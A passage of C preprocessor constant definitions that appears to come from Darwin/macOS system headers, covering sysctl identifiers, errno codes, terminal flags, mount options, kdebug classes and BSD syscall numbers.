KERN_PROCNAME 62 #define KERN_THALTSTACK 63 #define KERN_SPECULATIVE_READS 64 #define KERN_OSVERSION 65 #define KERN_SAFEBOOT 66 #define KERN_RAGEVNODE 68 #define KERN_TTY 69 #define KERN_CHECKOPENEVT 70 #define KERN_THREADNAME 71 #define KERN_MAXID 72 #define KERN_RAGE_PROC 1 #define KERN_RAGE_THREAD 2 #define KERN_UNRAGE_PROC 3 #define KERN_UNRAGE_THREAD 4 #define KERN_OPENEVT_PROC 1 #define KERN_UNOPENEVT_PROC 2 #define KERN_TFP_POLICY 1 #define KERN_TFP_POLICY_DENY 0 #define KERN_TFP_POLICY_DEFAULT 2 #define KERN_KDEFLAGS 1 #define KERN_KDDFLAGS 2 #define KERN_KDENABLE 3 #define KERN_KDSETBUF 4 #define KERN_KDGETBUF 5 #define KERN_KDSETUP 6 #define KERN_KDREMOVE 7 #define KERN_KDSETREG 8 #define KERN_KDGETREG 9 #define KERN_KDREADTR 10 #define KERN_KDPIDTR 11 #define KERN_KDTHRMAP 12 #define KERN_KDPIDEX 14 #define KERN_KDSETRTCDEC 15 #define KERN_KDGETENTROPY 16 #define KERN_KDWRITETR 17 #define KERN_KDWRITEMAP 18 #define KERN_KDTEST 19 #define KERN_KDREADCURTHRMAP 21 #define KERN_KDSET_TYPEFILTER 22 #define KERN_KDBUFWAIT 23 #define KERN_KDCPUMAP 24 #define KERN_KDCPUMAP_EXT 25 #define KERN_KDSET_EDM 26 #define KERN_KDGET_EDM 27 #define KERN_KDWRITETR_V3 28 #define KERN_PROC_ALL 0 #define KERN_PROC_PID 1 #define KERN_PROC_PGRP 2 #define KERN_PROC_SESSION 3 #define KERN_PROC_TTY 4 #define KERN_PROC_UID 5 #define KERN_PROC_RUID 6 #define KERN_PROC_LCID 7 #define KERN_VFSNSPACE_HANDLE_PROC 1 #define KERN_VFSNSPACE_UNHANDLE_PROC 2 #define KIPC_MAXSOCKBUF 1 #define KIPC_SOCKBUF_WASTE 2 #define KIPC_SOMAXCONN 3 #define KIPC_MAX_LINKHDR 4 #define KIPC_MAX_PROTOHDR 5 #define KIPC_MAX_HDR 6 #define KIPC_MAX_DATALEN 7 #define KIPC_MBSTAT 8 #define KIPC_NMBCLUSTERS 9 #define KIPC_SOQLIMITCOMPAT 10 #define VM_METER 1 #define VM_LOADAVG 2 #define VM_MACHFACTOR 4 #define VM_SWAPUSAGE 5 #define VM_MAXID 6 #define LSCALE 1000 #define HW_MACHINE 1 #define HW_MODEL 2 #define HW_NCPU 3 #define HW_BYTEORDER 4 #define HW_PHYSMEM 5 #define HW_USERMEM 6 #define HW_PAGESIZE 7 #define HW_DISKNAMES 8 #define HW_DISKSTATS 9 #define HW_EPOCH 10 #define HW_FLOATINGPT 11 #define HW_MACHINE_ARCH 12 #define HW_VECTORUNIT 13 #define HW_BUS_FREQ 14 #define HW_CPU_FREQ 15 #define HW_CACHELINE 16 #define HW_L1ICACHESIZE 17 #define HW_L1DCACHESIZE 18 #define HW_L2SETTINGS 19 #define HW_L2CACHESIZE 20 #define HW_L3SETTINGS 21 #define HW_L3CACHESIZE 22 #define HW_TB_FREQ 23 #define HW_MEMSIZE 24 #define HW_AVAILCPU 25 #define HW_TARGET 26 #define HW_PRODUCT 27 #define HW_MAXID 28 #define USER_CS_PATH 1 #define USER_BC_BASE_MAX 2 #define USER_BC_DIM_MAX 3 #define USER_BC_SCALE_MAX 4 #define USER_BC_STRING_MAX 5 #define USER_COLL_WEIGHTS_MAX 6 #define USER_EXPR_NEST_MAX 7 #define USER_LINE_MAX 8 #define USER_RE_DUP_MAX 9 #define USER_POSIX2_VERSION 10 #define USER_POSIX2_C_BIND 11 #define USER_POSIX2_C_DEV 12 #define USER_POSIX2_CHAR_TERM 13 #define USER_POSIX2_FORT_DEV 14 #define USER_POSIX2_FORT_RUN 15 #define USER_POSIX2_LOCALEDEF 16 #define USER_POSIX2_SW_DEV 17 #define USER_POSIX2_UPE 18 #define USER_STREAM_MAX 19 #define USER_TZNAME_MAX 20 #define USER_MAXID 21 #define CTL_DEBUG_NAME 0 #define CTL_DEBUG_VALUE 1 #define CTL_DEBUG_MAXID 20 #define UTF_REVERSE_ENDIAN 0x0001 #define UTF_NO_NULL_TERM 0x0002 #define UTF_DECOMPOSED 0x0004 #define UTF_PRECOMPOSED 0x0008 #define UTF_ESCAPE_ILLEGAL 0x0010 #define UTF_SFM_CONVERSIONS 0x0020 #define PRIO_PROCESS 0 #define PRIO_PGRP 1 #define PRIO_USER 2 #define PRIO_DARWIN_THREAD 3 #define PRIO_DARWIN_PROCESS 4 #define PRIO_MAX 20 #define PRIO_DARWIN_BG 0x1000 #define PRIO_DARWIN_NONUI 0x1001 #define RUSAGE_SELF 0 #define RUSAGE_INFO_V0 0 #define RUSAGE_INFO_V1 1 #define RUSAGE_INFO_V2 2 #define RUSAGE_INFO_V3 3 #define RUSAGE_INFO_V4 4 #define RUSAGE_INFO_V5 5 #define RUSAGE_INFO_V6 6 #define RU_PROC_RUNS_RESLIDE 0x00000001 #define RLIMIT_CPU 0 #define RLIMIT_FSIZE 1 #define RLIMIT_DATA 2 #define RLIMIT_STACK 3 #define RLIMIT_CORE 4 #define RLIMIT_AS 5 #define RLIMIT_MEMLOCK 6 #define RLIMIT_NPROC 7 #define RLIMIT_NOFILE 8 #define RLIM_NLIMITS 9 #define _RLIMIT_POSIX_FLAG 0x1000 #define RLIMIT_WAKEUPS_MONITOR 0x1 #define RLIMIT_CPU_USAGE_MONITOR 0x2 #define RLIMIT_THREAD_CPULIMITS 0x3 #define RLIMIT_FOOTPRINT_INTERVAL 0x4 #define WAKEMON_ENABLE 0x01 #define WAKEMON_DISABLE 0x02 #define WAKEMON_GET_PARAMS 0x04 #define WAKEMON_SET_DEFAULTS 0x08 #define WAKEMON_MAKE_FATAL 0x10 #define CPUMON_MAKE_FATAL 0x1000 #define FOOTPRINT_INTERVAL_RESET 0x1 #define IOPOL_TYPE_DISK 0 #define IOPOL_TYPE_VFS_ATIME_UPDATES 2 #define IOPOL_TYPE_VFS_MATERIALIZE_DATALESS_FILES 3 #define IOPOL_TYPE_VFS_STATFS_NO_DATA_VOLUME 4 #define IOPOL_TYPE_VFS_TRIGGER_RESOLVE 5 #define IOPOL_TYPE_VFS_IGNORE_CONTENT_PROTECTION 6 #define IOPOL_TYPE_VFS_IGNORE_PERMISSIONS 7 #define IOPOL_TYPE_VFS_SKIP_MTIME_UPDATE 8 #define IOPOL_TYPE_VFS_ALLOW_LOW_SPACE_WRITES 9 #define IOPOL_TYPE_VFS_DISALLOW_RW_FOR_O_EVTONLY 10 #define IOPOL_SCOPE_PROCESS 0 #define IOPOL_SCOPE_THREAD 1 #define IOPOL_SCOPE_DARWIN_BG 2 #define IOPOL_DEFAULT 0 #define IOPOL_IMPORTANT 1 #define IOPOL_PASSIVE 2 #define IOPOL_THROTTLE 3 #define IOPOL_UTILITY 4 #define IOPOL_STANDARD 5 #define IOPOL_ATIME_UPDATES_DEFAULT 0 #define IOPOL_ATIME_UPDATES_OFF 1 #define IOPOL_MATERIALIZE_DATALESS_FILES_DEFAULT 0 #define IOPOL_MATERIALIZE_DATALESS_FILES_OFF 1 #define IOPOL_MATERIALIZE_DATALESS_FILES_ON 2 #define IOPOL_VFS_STATFS_NO_DATA_VOLUME_DEFAULT 0 #define IOPOL_VFS_STATFS_FORCE_NO_DATA_VOLUME 1 #define IOPOL_VFS_TRIGGER_RESOLVE_DEFAULT 0 #define IOPOL_VFS_TRIGGER_RESOLVE_OFF 1 #define IOPOL_VFS_CONTENT_PROTECTION_DEFAULT 0 #define IOPOL_VFS_CONTENT_PROTECTION_IGNORE 1 #define IOPOL_VFS_IGNORE_PERMISSIONS_OFF 0 #define IOPOL_VFS_IGNORE_PERMISSIONS_ON 1 #define IOPOL_VFS_SKIP_MTIME_UPDATE_OFF 0 #define IOPOL_VFS_SKIP_MTIME_UPDATE_ON 1 #define IOPOL_VFS_ALLOW_LOW_SPACE_WRITES_OFF 0 #define IOPOL_VFS_ALLOW_LOW_SPACE_WRITES_ON 1 #define IOPOL_VFS_DISALLOW_RW_FOR_O_EVTONLY_DEFAULT 0 #define IOPOL_VFS_DISALLOW_RW_FOR_O_EVTONLY_ON 1 #define IOPOL_VFS_NOCACHE_WRITE_FS_BLKSIZE_DEFAULT 0 #define IOPOL_VFS_NOCACHE_WRITE_FS_BLKSIZE_ON 1 #define IOCPARM_MASK 0x1fff #define XATTR_NOFOLLOW 0x0001 #define XATTR_CREATE 0x0002 #define XATTR_REPLACE 0x0004 #define XATTR_NOSECURITY 0x0008 #define XATTR_NODEFAULT 0x0010 #define XATTR_SHOWCOMPRESSION 0x0020 #define XATTR_NOFOLLOW_ANY 0x0040 #define XATTR_MAXNAMELEN 127 #define PR_SLOWHZ 2 #define PRC_IFDOWN 0 #define PRC_ROUTEDEAD 1 #define PRC_IFUP 2 #define PRC_QUENCH2 3 #define PRC_QUENCH 4 #define PRC_MSGSIZE 5 #define PRC_HOSTDEAD 6 #define PRC_HOSTUNREACH 7 #define PRC_UNREACH_NET 8 #define PRC_UNREACH_HOST 9 #define PRC_UNREACH_PROTOCOL 10 #define PRC_UNREACH_PORT 11 #define PRC_UNREACH_SRCFAIL 13 #define PRC_REDIRECT_NET 14 #define PRC_REDIRECT_HOST 15 #define PRC_REDIRECT_TOSNET 16 #define PRC_REDIRECT_TOSHOST 17 #define PRC_TIMXCEED_INTRANS 18 #define PRC_TIMXCEED_REASS 19 #define PRC_PARAMPROB 20 #define PRC_UNREACH_ADMIN_PROHIB 21 #define PRC_NCMDS 22 #define KEV_CTL_SUBCLASS 2 #define KEV_CTL_REGISTERED 1 #define KEV_CTL_DEREGISTERED 2 #define MAX_KCTL_NAME 96 #define CTL_FLAG_PRIVILEGED 0x1 #define CTL_FLAG_REG_ID_UNIT 0x2 #define CTL_FLAG_REG_SOCK_STREAM 0x4 #define CTL_DATA_NOWAKEUP 0x1 #define CTL_DATA_EOR 0x2 #define __has_safe_buffers 0 #define __DARWIN_ONLY_64_BIT_INO_T 0 #define __DARWIN_ONLY_UNIX_CONFORMANCE 0 #define __DARWIN_ONLY_VERS_1050 0 #define __STDC_WANT_LIB_EXT1__ 1 #define __DARWIN_NO_LONG_LONG 0 #define _DARWIN_FEATURE_64_BIT_INODE 1 #define _DARWIN_FEATURE_ONLY_64_BIT_INODE 1 #define _DARWIN_FEATURE_ONLY_VERS_1050 1 #define _DARWIN_FEATURE_ONLY_UNIX_CONFORMANCE 1 #define _DARWIN_FEATURE_UNIX_CONFORMANCE 3 #define __has_ptrcheck 0 #define MAXMAXPARTITIONS 22 #define NDDATA 5 #define NSPARE 5 #define DTYPE_SMD 1 #define DTYPE_MSCP 2 #define DTYPE_DEC 3 #define DTYPE_SCSI 4 #define DTYPE_ESDI 5 #define DTYPE_ST506 6 #define DTYPE_HPIB 7 #define DTYPE_HPFL 8 #define DTYPE_FLOPPY 10 #define FS_UNUSED 0 #define FS_SWAP 1 #define FS_V6 2 #define FS_V7 3 #define FS_SYSV 4 #define FS_V71K 5 #define FS_V8 6 #define FS_BSDFFS 7 #define FS_MSDOS 8 #define FS_BSDLFS 9 #define FS_OTHER 10 #define FS_HPFS 11 #define FS_ISO9660 12 #define FS_BOOT 13 #define FS_ADOS 14 #define FS_HFS 15 #define D_REMOVABLE 0x01 #define D_ECC 0x02 #define D_BADSECT 0x04 #define D_RAMDISK 0x08 #define D_CHAIN 0x10 #define D_SSE 0x1 #define EPERM 1 #define ENOENT 2 #define ESRCH 3 #define EINTR 4 #define EIO 5 #define ENXIO 6 #define E2BIG 7 #define ENOEXEC 8 #define EBADF 9 #define ECHILD 10 #define EDEADLK 11 #define ENOMEM 12 #define EACCES 13 #define EFAULT 14 #define ENOTBLK 15 #define EBUSY 16 #define EEXIST 17 #define EXDEV 18 #define ENODEV 19 #define ENOTDIR 20 #define EISDIR 21 #define EINVAL 22 #define ENFILE 23 #define EMFILE 24 #define ENOTTY 25 #define ETXTBSY 26 #define EFBIG 27 #define ENOSPC 28 #define ESPIPE 29 #define EROFS 30 #define EMLINK 31 #define EPIPE 32 #define EDOM 33 #define ERANGE 34 #define EAGAIN 35 #define EINPROGRESS 36 #define EALREADY 37 #define ENOTSOCK 38 #define EDESTADDRREQ 39 #define EMSGSIZE 40 #define EPROTOTYPE 41 #define ENOPROTOOPT 42 #define EPROTONOSUPPORT 43 #define ESOCKTNOSUPPORT 44 #define ENOTSUP 45 #define EPFNOSUPPORT 46 #define EAFNOSUPPORT 47 #define EADDRINUSE 48 #define EADDRNOTAVAIL 49 #define ENETDOWN 50 #define ENETUNREACH 51 #define ENETRESET 52 #define ECONNABORTED 53 #define ECONNRESET 54 #define ENOBUFS 55 #define EISCONN 56 #define ENOTCONN 57 #define ESHUTDOWN 58 #define ETOOMANYREFS 59 #define ETIMEDOUT 60 #define ECONNREFUSED 61 #define ELOOP 62 #define ENAMETOOLONG 63 #define EHOSTDOWN 64 #define EHOSTUNREACH 65 #define ENOTEMPTY 66 #define EPROCLIM 67 #define EUSERS 68 #define EDQUOT 69 #define ESTALE 70 #define EREMOTE 71 #define EBADRPC 72 #define ERPCMISMATCH 73 #define EPROGUNAVAIL 74 #define EPROGMISMATCH 75 #define EPROCUNAVAIL 76 #define ENOLCK 77 #define ENOSYS 78 #define EFTYPE 79 #define EAUTH 80 #define ENEEDAUTH 81 #define EPWROFF 82 #define EDEVERR 83 #define EOVERFLOW 84 #define EBADEXEC 85 #define EBADARCH 86 #define ESHLIBVERS 87 #define EBADMACHO 88 #define ECANCELED 89 #define EIDRM 90 #define ENOMSG 91 #define EILSEQ 92 #define ENOATTR 93 #define EBADMSG 94 #define EMULTIHOP 95 #define ENODATA 96 #define ENOLINK 97 #define ENOSR 98 #define ENOSTR 99 #define EPROTO 100 #define ETIME 101 #define EOPNOTSUPP 102 #define ENOPOLICY 103 #define ENOTRECOVERABLE 104 #define EOWNERDEAD 105 #define EQFULL 106 #define ELAST 106 #define VEOF 0 #define VEOL 1 #define VEOL2 2 #define VERASE 3 #define VWERASE 4 #define VKILL 5 #define VREPRINT 6 #define VINTR 8 #define VQUIT 9 #define VSUSP 10 #define VDSUSP 11 #define VSTART 12 #define VSTOP 13 #define VLNEXT 14 #define VDISCARD 15 #define VMIN 16 #define VTIME 17 #define VSTATUS 18 #define NCCS 20 #define IGNBRK 0x00000001 #define BRKINT 0x00000002 #define IGNPAR 0x00000004 #define PARMRK 0x00000008 #define INPCK 0x00000010 #define ISTRIP 0x00000020 #define INLCR 0x00000040 #define IGNCR 0x00000080 #define ICRNL 0x00000100 #define IXON 0x00000200 #define IXOFF 0x00000400 #define IXANY 0x00000800 #define IMAXBEL 0x00002000 #define IUTF8 0x00004000 #define OPOST 0x00000001 #define ONLCR 0x00000002 #define OXTABS 0x00000004 #define ONOEOT 0x00000008 #define OCRNL 0x00000010 #define ONOCR 0x00000020 #define ONLRET 0x00000040 #define OFILL 0x00000080 #define NLDLY 0x00000300 #define TABDLY 0x00000c04 #define CRDLY 0x00003000 #define FFDLY 0x00004000 #define BSDLY 0x00008000 #define VTDLY 0x00010000 #define OFDEL 0x00020000 #define TAB3 0x00000004 #define VT0 0x00000000 #define VT1 0x00010000 #define CIGNORE 0x00000001 #define CSIZE 0x00000300 #define CS5 0x00000000 #define CS6 0x00000100 #define CS7 0x00000200 #define CS8 0x00000300 #define CSTOPB 0x00000400 #define CREAD 0x00000800 #define PARENB 0x00001000 #define PARODD 0x00002000 #define HUPCL 0x00004000 #define CLOCAL 0x00008000 #define CCTS_OFLOW 0x00010000 #define CRTS_IFLOW 0x00020000 #define CDTR_IFLOW 0x00040000 #define CDSR_OFLOW 0x00080000 #define CCAR_OFLOW 0x00100000 #define ECHOKE 0x00000001 #define ECHOE 0x00000002 #define ECHOK 0x00000004 #define ECHONL 0x00000010 #define ECHOPRT 0x00000020 #define ECHOCTL 0x00000040 #define ISIG 0x00000080 #define ICANON 0x00000100 #define ALTWERASE 0x00000200 #define IEXTEN 0x00000400 #define EXTPROC 0x00000800 #define NOKERNINFO 0x02000000 #define TCSANOW 0 #define TCSADRAIN 1 #define TCSAFLUSH 2 #define TCSASOFT 0x10 #define B0 0 #define B50 50 #define B75 75 #define B110 110 #define B134 134 #define B150 150 #define B200 200 #define B300 300 #define B600 600 #define B1200 1200 #define B1800 1800 #define B2400 2400 #define B4800 4800 #define B9600 9600 #define B19200 19200 #define B38400 38400 #define B7200 7200 #define B14400 14400 #define B28800 28800 #define B57600 57600 #define B76800 76800 #define B115200 115200 #define B230400 230400 #define EXTA 19200 #define EXTB 38400 #define RENAME_SECLUDE 0x00000001 #define RENAME_SWAP 0x00000002 #define RENAME_EXCL 0x00000004 #define RENAME_RESERVED1 0x00000008 #define RENAME_NOFOLLOW_ANY 0x00000010 #define MFSNAMELEN 15 #define MFSTYPENAMELEN 16 #define MNAMELEN 90 #define MNT_EXT_ROOT_DATA_VOL 0x00000001 #define MNT_EXT_FSKIT 0x00000002 #define MNT_RDONLY 0x00000001 #define MNT_SYNCHRONOUS 0x00000002 #define MNT_NOEXEC 0x00000004 #define MNT_NOSUID 0x00000008 #define MNT_NODEV 0x00000010 #define MNT_UNION 0x00000020 #define MNT_ASYNC 0x00000040 #define MNT_CPROTECT 0x00000080 #define MNT_EXPORTED 0x00000100 #define MNT_REMOVABLE 0x00000200 #define MNT_QUARANTINE 0x00000400 #define MNT_LOCAL 0x00001000 #define MNT_QUOTA 0x00002000 #define MNT_ROOTFS 0x00004000 #define MNT_DOVOLFS 0x00008000 #define MNT_DONTBROWSE 0x00100000 #define MNT_IGNORE_OWNERSHIP 0x00200000 #define MNT_AUTOMOUNTED 0x00400000 #define MNT_JOURNALED 0x00800000 #define MNT_NOUSERXATTR 0x01000000 #define MNT_DEFWRITE 0x02000000 #define MNT_MULTILABEL 0x04000000 #define MNT_NOFOLLOW 0x08000000 #define MNT_NOATIME 0x10000000 #define MNT_SNAPSHOT 0x40000000 #define MNT_STRICTATIME 0x80000000 #define MNT_UPDATE 0x00010000 #define MNT_NOBLOCK 0x00020000 #define MNT_RELOAD 0x00040000 #define MNT_FORCE 0x00080000 #define VFS_GENERIC 0 #define VFS_NUMMNTOPS 1 #define VFS_MAXTYPENUM 1 #define VFS_CONF 2 #define MNT_WAIT 1 #define MNT_NOWAIT 2 #define MNT_DWAIT 4 #define MNT_VOLUME 8 #define VFS_CTL_VERS1 0x01 #define VFS_CTL_OSTATFS 0x00010001 #define VFS_CTL_UMOUNT 0x00010002 #define VFS_CTL_QUERY 0x00010003 #define VFS_CTL_NEWADDR 0x00010004 #define VFS_CTL_TIMEO 0x00010005 #define VFS_CTL_NOLOCKS 0x00010006 #define VFS_CTL_SADDR 0x00010007 #define VFS_CTL_DISC 0x00010008 #define VFS_CTL_SERVERINFO 0x00010009 #define VFS_CTL_NSTATUS 0x0001000A #define VFS_CTL_STATFS64 0x0001000B #define VQ_NOTRESP 0x0001 #define VQ_NEEDAUTH 0x0002 #define VQ_LOWDISK 0x0004 #define VQ_MOUNT 0x0008 #define VQ_UNMOUNT 0x0010 #define VQ_DEAD 0x0020 #define VQ_ASSIST 0x0040 #define VQ_NOTRESPLOCK 0x0080 #define VQ_UPDATE 0x0100 #define VQ_VERYLOWDISK 0x0200 #define VQ_SYNCEVENT 0x0400 #define VQ_SERVEREVENT 0x0800 #define VQ_QUOTA 0x1000 #define VQ_NEARLOWDISK 0x2000 #define VQ_DESIRED_DISK 0x4000 #define VQ_FREE_SPACE_CHANGE 0x8000 #define VQ_PURGEABLE_SPACE_CHANGE 0x10000 #define VQ_FLAG20000 0x20000 #define VFS_IOATTR_FLAGS_FUA 0x00000001 #define VFS_IOATTR_FLAGS_UNMAP 0x00000002 #define VFS_IOATTR_FLAGS_SWAPPIN_SUPPORTED 0x00000010 #define VFS_TBLTHREADSAFE 0x0001 #define VFS_TBLFSNODELOCK 0x0002 #define VFS_TBLNOTYPENUM 0x0008 #define VFS_TBLLOCALVOL 0x0010 #define VFS_TBL64BITREADY 0x0020 #define VFS_TBLNATIVEXATTR 0x0040 #define VFS_TBLDIRLINKS 0x0080 #define VFS_TBLUNMOUNT_PREFLIGHT 0x0100 #define VFS_TBLGENERICMNTARGS 0x0200 #define VFS_TBLREADDIR_EXTENDED 0x0400 #define VFS_TBLNOMACLABEL 0x1000 #define VFS_TBLVNOP_PAGEINV2 0x2000 #define VFS_TBLVNOP_PAGEOUTV2 0x4000 #define VFS_TBLVNOP_NOUPDATEID_RENAME 0x8000 #define VFS_TBLVNOP_SECLUDE_RENAME 0x10000 #define VFS_TBLCANMOUNTROOT 0x20000 #define VFSIOC_MOUNT_BYROLE_has_recovery 1 #define VFS_RETURNED 0 #define VFS_RETURNED_DONE 1 #define VFS_CLAIMED 2 #define VFS_CLAIMED_DONE 3 #define VFS_USER_EVENT 0 #define VFS_KERNEL_EVENT 1 #define LK_NOWAIT 1 #define NFSV4_MAX_FH_SIZE 128 #define NFSV3_MAX_FH_SIZE 64 #define NFSV2_MAX_FH_SIZE 32 #define CRYPTEX_AUTH_STRUCT_VERSION 2 #define EV_FD 1 #define EV_RE 1 #define EV_WR 2 #define EV_EX 4 #define EV_RM 8 #define EV_MASK 0xf #define EV_RBYTES 0x100 #define EV_WBYTES 0x200 #define EV_RCLOSED 0x400 #define EV_RCONN 0x800 #define EV_WCLOSED 0x1000 #define EV_WCONN 0x2000 #define EV_OOB 0x4000 #define EV_FIN 0x8000 #define EV_RESET 0x10000 #define EV_TIMEOUT 0x20000 #define EV_DMASK 0xffffff00 #define KDEBUG_LEVEL_NONE 0 #define KDEBUG_LEVEL_IST 1 #define KDEBUG_LEVEL_STANDARD 2 #define KDEBUG_LEVEL_FULL 3 #define KDBG_FLAG_FILTERED 0x01 #define KDBG_FLAG_NOPROCFILT 0x02 #define __DARWIN_LITTLE_ENDIAN 1234 #define __DARWIN_BIG_ENDIAN 4321 #define __DARWIN_PDP_ENDIAN 3412 #define USE_CLANG_TYPES 0 #define __DARWIN_NULL 0 #define UBC_PUSHDIRTY 0x01 #define UBC_PUSHALL 0x02 #define UBC_INVALIDATE 0x04 #define UBC_SYNC 0x08 #define KAUTH_NTSID_MAX_AUTHORITIES 16 #define KAUTH_EXTLOOKUP_SUCCESS 0 #define KAUTH_EXTLOOKUP_BADRQ 1 #define KAUTH_EXTLOOKUP_FAILURE 2 #define KAUTH_EXTLOOKUP_FATAL 3 #define KAUTH_EXTLOOKUP_INPROG 100 #define KAUTH_ACE_KINDMASK 0xf #define KAUTH_ACE_PERMIT 1 #define KAUTH_ACE_DENY 2 #define KAUTH_ACE_AUDIT 3 #define KAUTH_ACE_ALARM 4 #define KAUTH_ACL_MAX_ENTRIES 128 #define KAUTH_FILESEC_MAGIC 0x012cc16d #define KAUTH_ENDIAN_HOST 0x00000001 #define KAUTH_ENDIAN_DISK 0x00000002 #define KAUTH_GENERIC_ISSUSER 1 #define KAUTH_PROCESS_CANSIGNAL 1 #define KAUTH_PROCESS_CANTRACE 2 #define KAUTH_FILEOP_OPEN 1 #define KAUTH_FILEOP_CLOSE 2 #define KAUTH_FILEOP_RENAME 3 #define KAUTH_FILEOP_EXCHANGE 4 #define KAUTH_FILEOP_LINK 5 #define KAUTH_FILEOP_EXEC 6 #define KAUTH_FILEOP_DELETE 7 #define KAUTH_FILEOP_WILL_RENAME 8 #define DBG_PPT 36 #define DBG_PERFCTRL 39 #define DBG_CLPC 50 #define DBG_MUSE 52 #define DBG_ANS 128 #define DBG_SIO 129 #define DBG_SEP 130 #define DBG_ISP 131 #define DBG_OSCAR 132 #define DBG_EMBEDDEDGFX 133 #define DBG_PMP 134 #define DBG_RTKIT 135 #define DBG_DCP 136 #define DBG_KMP 137 #define DBG_SKYWALK_ALWAYSON 0x10 #define DBG_SKYWALK_FLOWSWITCH 0x11 #define DBG_SKYWALK_NETIF 0x12 #define DBG_SKYWALK_CHANNEL 0x13 #define DBG_SKYWALK_PACKET 0x14 #define DBG_AQM_ALWAYSON 0x30 #define DBG_AQM_STATS 0x31 #define PPT_TEST 0x01 #define PPT_JETSAM_HIWAT 0x02 #define PPT_JETSAM_TOPPROC 0x03 #define DBG_SEC_SSMA 0x02 #define KDBG_CPU_SHIFT 56 #define KDBG_INIT 0x01 #define KDBG_FREERUN 0x04 #define KDBG_CPUMAP_IS_IOP 0x1 #define KDEBUG_COMMPAGE_ENABLE_TRACE 0x1 #define KDEBUG_COMMPAGE_ENABLE_TYPEFILTER 0x2 #define KDEBUG_COMMPAGE_CONTINUOUS 0x4 #define KDBG_LOCKINIT 0x0080 #define KDBG_CLASSTYPE 0x10000 #define KDBG_SUBCLSTYPE 0x20000 #define KDBG_RANGETYPE 0x40000 #define KDBG_TYPENONE 0x80000 #define KDBG_CKTYPES 0xF0000 #define RAW_VERSION0 0x55aa0000 #define RAW_VERSION1 0x55aa0101 #define RAW_VERSION2 0x55aa0200 #define kEnTrCompKernel 2 #define kEnTrActKernSocket 1 #define kEnTrActKernSockRead 2 #define kEnTrActKernSockWrite 3 #define kEnTrActKernPoll 10 #define kEnTrActKernSelect 11 #define kEnTrActKernKQWait 12 #define kEnTrEvUnblocked 256 #define kEnTrFlagNonBlocking 0x1 #define kEnTrFlagNoWork 0x2 #define ENTR_SHOULDTRACE 0 #define SYS_syscall 0 + 0x2000000 #define SYS_exit 1 + 0x2000000 #define SYS_fork 2 + 0x2000000 #define SYS_read 3 + 0x2000000 #define SYS_write 4 + 0x2000000 #define SYS_open 5 + 0x2000000 #define SYS_close 6 + 0x2000000 #define SYS_wait4 7 + 0x2000000 #define SYS_link 9 + 0x2000000 #define SYS_unlink 10 + 0x2000000 #define SYS_chdir 12 + 0x2000000 #define SYS_fchdir 13 + 0x2000000 #define SYS_mknod 14 + 0x2000000 #define SYS_chmod 15 + 0x2000000 #define SYS_chown 16 + 0x2000000 #define SYS_getfsstat 18 + 0x2000000 #define SYS_getpid 20 + 0x2000000 #define SYS_setuid 23 + 0x2000000 #define SYS_getuid 24 + 0x2000000 #define SYS_geteuid 25 + 0x2000000 #define SYS_ptrace 26 + 0x2000000 #define SYS_recvmsg 27 + 0x2000000 #define SYS_sendmsg 28 + 0x2000000 #define SYS_recvfrom 29 + 0x2000000 #define SYS_accept 30 + 0x2000000 #define SYS_getpeername 31 + 0x2000000 #define SYS_getsockname 32 + 0x2000000 #define SYS_access 33 + 0x2000000 #define SYS_chflags 34 + 0x2000000 #define SYS_fchflags 35 + 0x2000000 #define SYS_sync 36 + 0x2000000 #define SYS_kill 37 + 0x2000000 #define SYS_crossarch_trap 38 + 0x2000000 #define SYS_getppid 39 + 0x2000000 #define SYS_dup 41 + 0x2000000 #define SYS_pipe 42 + 0x2000000 #define SYS_getegid 43 + 0x2000000 #define SYS_sigaction 46 + 0x2000000 #define SYS_getgid 47 + 0x2000000 #define SYS_sigprocmask 48 + 0x2000000 #define SYS_getlogin 49 + 0x2000000 #define SYS_setlogin 50 + 0x2000000 #define SYS_acct 51 + 0x2000000 #define SYS_sigpending 52 + 0x2000000 #define SYS_sigaltstack 53 + 0x2000000 #define SYS_ioctl 54 + 0x2000000 #define SYS_reboot 55 + 0x2000000 #define SYS_revoke 56 + 0x2000000 #define SYS_symlink 57 + 0x2000000 #define SYS_readlink 58 + 0x2000000 #define SYS_execve 59 + 0x2000000 #define SYS_umask 60 + 0x2000000 #define SYS_chroot 61 + 0x2000000 #define SYS_msync 65 + 0x2000000 #define SYS_vfork 66 + 0x2000000 #define SYS_munmap 73 + 0x2000000 #define SYS_mprotect 74 + 0x2000000 #define SYS_madvise 75 + 0x2000000 #define SYS_mincore 78 + 0x2000000 #define SYS_getgroups 79 + 0x2000000 #define SYS_setgroups 80 + 0x2000000 #define SYS_getpgrp 81 + 0x2000000 #define SYS_setpgid 82 + 0x2000000 #define SYS_setitimer 83 + 0x2000000 #define SYS_swapon 85 + 0x2000000 #define SYS_getitimer 86 + 0x2000000 #define SYS_getdtablesize 89 + 0x2000000 #define SYS_dup2 90 + 0x2000000 #define SYS_fcntl 92 + 0x2000000 #define SYS_select 93 + 0x2000000 #define SYS_fsync 95 + 0x2000000 #define SYS_setpriority 96 + 0x2000000 #define SYS_socket 97 + 0x2000000 #define SYS_connect 98 + 0x2000000 #define SYS_getpriority 100 + 0x2000000 #define SYS_bind 104 + 0x2000000 #define SYS_setsockopt 105 + 0x2000000 #define SYS_listen 106 + 0x2000000 #define SYS_sigsuspend 111 + 0x2000000 #define SYS_gettimeofday 116 + 0x2000000 #define SYS_getrusage 117 + 0x2000000 #define SYS_getsockopt 118 + 0x2000000 #define SYS_readv 120 + 0x2000000 #define SYS_writev 121 + 0x2000000 #define SYS_settimeofday 122 + 0x2000000 #define SYS_fchown 123 + 0x2000000 #define SYS_fchmod 124 + 0x2000000 #define SYS_setreuid 126 + 0x2000000 #define SYS_setregid 127 + 0x2000000 #define SYS_rename 128 + 0x2000000 #define SYS_flock 131 + 0x2000000 #define SYS_mkfifo 132 + 0x2000000 #define SYS_sendto 133 + 0x2000000 #define SYS_shutdown 134 + 0x2000000 #define SYS_socketpair 135 + 0x2000000 #define SYS_mkdir 136 + 0x2000000 #define SYS_rmdir 137 + 0x2000000 #define SYS_utimes 138 + 0x2000000 #define SYS_futimes 139 + 0x2000000 #define SYS_adjtime 140 + 0x2000000 #define SYS_gethostuuid 142 + 0x2000000 #define SYS_setsid 147 + 0x2000000 #define SYS_getpgid 151 + 0x2000000 #define SYS_setprivexec 152 + 0x2000000 #define SYS_pread 153 + 0x2000000 #define SYS_pwrite 154 + 0x2000000 #define SYS_nfssvc 155 + 0x2000000 #define SYS_statfs 157 + 0x2000000 #define SYS_fstatfs 158 + 0x2000000 #define SYS_unmount 159 + 